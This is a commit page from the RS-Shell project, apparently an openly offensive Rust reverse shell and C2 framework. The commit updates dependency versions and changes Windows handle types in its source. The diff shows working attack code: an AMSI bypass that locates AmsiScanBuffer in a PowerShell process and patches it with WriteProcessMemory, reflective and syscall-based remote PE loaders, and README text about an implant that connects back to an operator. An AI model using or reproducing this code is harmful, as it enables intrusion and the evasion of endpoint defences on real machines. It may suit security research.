Skip to content

Commit c1b8cb3

Browse files
committed
Dependencies versions update
1 parent 3331ea3 commit c1b8cb3

File tree

6 files changed

+24
-24
lines changed

6 files changed

+24
-24
lines changed

Cargo.toml

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -6,14 +6,14 @@ edition = "2021"
66
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
77

88
[dependencies]
9-
native-tls = "0.2.11"
9+
native-tls = "0.2.12"
1010
signal-hook = "0.3.17"
11-
regex = "1.10.2"
12-
open = "5.0.1"
13-
simple_logger = "4.3.0"
14-
log = "0.4.20"
15-
ctrlc = "3.4.1"
16-
clap = { version = "4.4.11", features = ["derive"] }
11+
regex = "1.10.6"
12+
open = "5.3.0"
13+
simple_logger = "5.0.0"
14+
log = "0.4.22"
15+
ctrlc = "3.4.5"
16+
clap = { version = "4.5.16", features = ["derive"] }
1717
ntapi = "0.4.1"
1818
winapi = "0.3.9"
1919
time = "0.3.36"
@@ -27,7 +27,7 @@ actix-multipart = "0.7.2"
2727
reqwest = { version = "0.12.7", features = ["blocking", "rustls-tls", "multipart"] }
2828

2929
[dependencies.windows-sys]
30-
version = "0.52.0"
30+
version = "0.59.0"
3131
features = [
3232
"Win32_System_Memory",
3333
"Win32_Foundation",

README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -15,13 +15,13 @@ RS-Shell is reverse shell solution developped in Rust with client, implant and s
1515

1616
RS-Shell implements two modes: **TLS over TCP** and **HTTPS**.
1717

18-
* TLS over TCP mode is a standard reverse shell where the implant executed on the target machine will connect back to the TLS listener, running on the *attacker*'s machine
18+
* TLS over TCP mode is a standard reverse shell where the implant executed on the target machine will connect back to the TLS listener, running on the operator's machine
1919
* HTTPS mode works more like a C2 infratructure, with an HTTPS server, an implant, and a client:
2020
* The HTTPS server is executed on a server accessible by both the implant and the client. It is based on the [Actix](https://actix.rs/) web framework with [Rustls](https://docs.rs/rustls/latest/rustls/)
2121
* The implant is executed on the target machine and will request the server for "new tasks" every 2 seconds (by default, can be changed in the code for the moment)
22-
* The client is executed on the *attacker* machine. It will also connect to the server via HTTPS, and will permit to send the commands to the implant
22+
* The client is executed on the operator's machine. It will also connect to the server via HTTPS, and will permit to send the commands to the implant
2323

24-
Windows HTTPS implant is partially proxy aware thanks to the [Windows's WinINet library](https://learn.microsoft.com/fr-fr/windows/win32/wininet/about-wininet). This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail).
24+
Windows HTTPS implant is partially proxy aware thanks to the [Windows's WinINet library](https://learn.microsoft.com/fr-fr/windows/win32/wininet/about-wininet). This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail, and you will have to indicate the proxy URL and the credentials manually in the implant code).
2525

2626
Client, implant and server are all cross-platform and work on Windows and Linux systems.
2727

src/amsi_bypass.rs

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ use syscalls::syscall;
2727

2828
static PATH_REGEX: &str = r#"PS (?<ParentPath>(?:[a-zA-Z]\:|\\\\[\w\s\.\-]+\\[^\/\\<>:"|?\n\r]+)\\(?:[^\/\\<>:"|?\n\r]+\\)*)(?<BaseName>[^\/\\<>:"|?\n\r]*?)> "#;
2929

30-
fn get_scan_buffer(amsiaddr: isize, phandle: isize, syscalls_value: bool) -> isize {
30+
fn get_scan_buffer(amsiaddr: isize, phandle: *mut c_void, syscalls_value: bool) -> isize {
3131
let mut status: NTSTATUS;
3232
let mut buf: [u8; 64] = [0; 64];
3333

@@ -66,7 +66,7 @@ fn get_scan_buffer(amsiaddr: isize, phandle: isize, syscalls_value: bool) -> isi
6666
fill_structure_from_memory(
6767
&mut nt_head,
6868
(amsiaddr + dos_head.e_lfanew as isize) as *const c_void,
69-
phandle as isize,
69+
phandle,
7070
syscalls_value,
7171
);
7272
log::debug!(
@@ -80,7 +80,7 @@ fn get_scan_buffer(amsiaddr: isize, phandle: isize, syscalls_value: bool) -> isi
8080
&mut exports,
8181
(amsiaddr + nt_head.OptionalHeader.ExportTable.VirtualAddress as isize)
8282
as *const c_void,
83-
phandle as isize,
83+
phandle,
8484
syscalls_value,
8585
);
8686
log::debug!("Exports: {:#x?}", exports);
@@ -116,7 +116,7 @@ fn get_scan_buffer(amsiaddr: isize, phandle: isize, syscalls_value: bool) -> isi
116116
let num = u32::from_ne_bytes(nameaddr.try_into().unwrap());
117117
let funcname = read_from_memory(
118118
(amsiaddr + num as isize) as *const c_void,
119-
phandle as isize,
119+
phandle,
120120
syscalls_value,
121121
);
122122
if funcname.trim_end_matches('\0') == "AmsiScanBuffer" {
@@ -242,7 +242,7 @@ pub fn patch_amsi(pid: u32, syscalls_value: bool) {
242242
let mut first_mod = MaybeUninit::<MODULEENTRY32>::uninit().assume_init();
243243
first_mod.dwSize = std::mem::size_of::<MODULEENTRY32>() as u32;
244244
Module32First(snap_handle, &mut first_mod as *mut MODULEENTRY32);
245-
let _modulname = string_from_array(&mut first_mod.szModule.to_vec());
245+
let _modulname = string_from_array(&mut first_mod.szModule.to_vec().iter().map(|&x| x as u8).collect());
246246
log::debug!("Module name: {:?}", _modulname);
247247

248248
// Search for the amsi.dll module in the PowerShell process memory
@@ -251,7 +251,7 @@ pub fn patch_amsi(pid: u32, syscalls_value: bool) {
251251
let mut next_mod = MaybeUninit::<MODULEENTRY32>::uninit().assume_init();
252252
next_mod.dwSize = std::mem::size_of::<MODULEENTRY32>() as u32;
253253
let res_next = Module32Next(snap_handle, &mut next_mod as *mut MODULEENTRY32);
254-
let next_module = string_from_array(&mut next_mod.szModule.to_vec());
254+
let next_module = string_from_array(&mut next_mod.szModule.to_vec().iter().map(|&x| x as u8).collect());
255255
log::debug!("Next module: {:?}", next_module);
256256

257257
if next_module == "amsi.dll" {
@@ -265,7 +265,7 @@ pub fn patch_amsi(pid: u32, syscalls_value: bool) {
265265

266266
log::debug!("Amsi base addr: {:x?}", amsiaddr);
267267
let mut scanbuffer_addr =
268-
get_scan_buffer(amsiaddr, new_handle as isize, syscalls_value) as *mut c_void;
268+
get_scan_buffer(amsiaddr, new_handle, syscalls_value) as *mut c_void;
269269
log::debug!("AmsiScanBuffer base addr: {:x?}", scanbuffer_addr);
270270

271271
// mov rax, 1
@@ -309,15 +309,15 @@ pub fn patch_amsi(pid: u32, syscalls_value: bool) {
309309
}
310310
} else {
311311
WriteProcessMemory(
312-
new_handle as isize,
312+
new_handle,
313313
scanbuffer_addr,
314314
patch.as_ptr() as *const c_void,
315315
patch.len(),
316316
std::ptr::null_mut(),
317317
);
318318
}
319319

320-
CloseHandle(new_handle as isize);
320+
CloseHandle(new_handle);
321321
}
322322
}
323323

src/loader.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -292,7 +292,7 @@ pub fn reflective_loader(buf: Vec<u8>) -> Result<(), Box<dyn Error>> {
292292
Ok(())
293293
}
294294

295-
fn get_destination_base_addr(prochandle: isize) -> usize {
295+
fn get_destination_base_addr(prochandle: *mut c_void) -> usize {
296296
unsafe {
297297
let mut process_information: PROCESS_BASIC_INFORMATION = std::mem::zeroed();
298298
let process_information_class = PROCESSINFOCLASS::default();

src/loader_syscalls.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -860,7 +860,7 @@ pub fn remote_loader_syscalls(buf: Vec<u8>, pe_to_execute: &str) -> Result<(), B
860860
if !NT_SUCCESS(status) {
861861
log::debug!("Error resuming thread: {:x}", status);
862862
}
863-
CloseHandle(prochandle as isize);
863+
CloseHandle(prochandle);
864864
}
865865

866866
Ok(())

src/utils/tools_windows.rs

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ pub fn fill_structure_from_array<T, U>(base: &mut T, arr: &[U], syscalls_value:
4646
pub fn fill_structure_from_memory<T>(
4747
struct_to_fill: &mut T,
4848
base: *const c_void,
49-
prochandle: isize,
49+
prochandle: *mut c_void,
5050
syscalls_value: bool,
5151
) {
5252
unsafe {
@@ -73,7 +73,7 @@ pub fn fill_structure_from_memory<T>(
7373
}
7474
}
7575

76-
pub fn read_from_memory(base: *const c_void, prochandle: isize, syscalls_value: bool) -> String {
76+
pub fn read_from_memory(base: *const c_void, prochandle: *mut c_void, syscalls_value: bool) -> String {
7777
let mut buf: Vec<u8> = vec![0; 100];
7878
unsafe {
7979
if syscalls_value {

0 commit comments

Comments
 (0)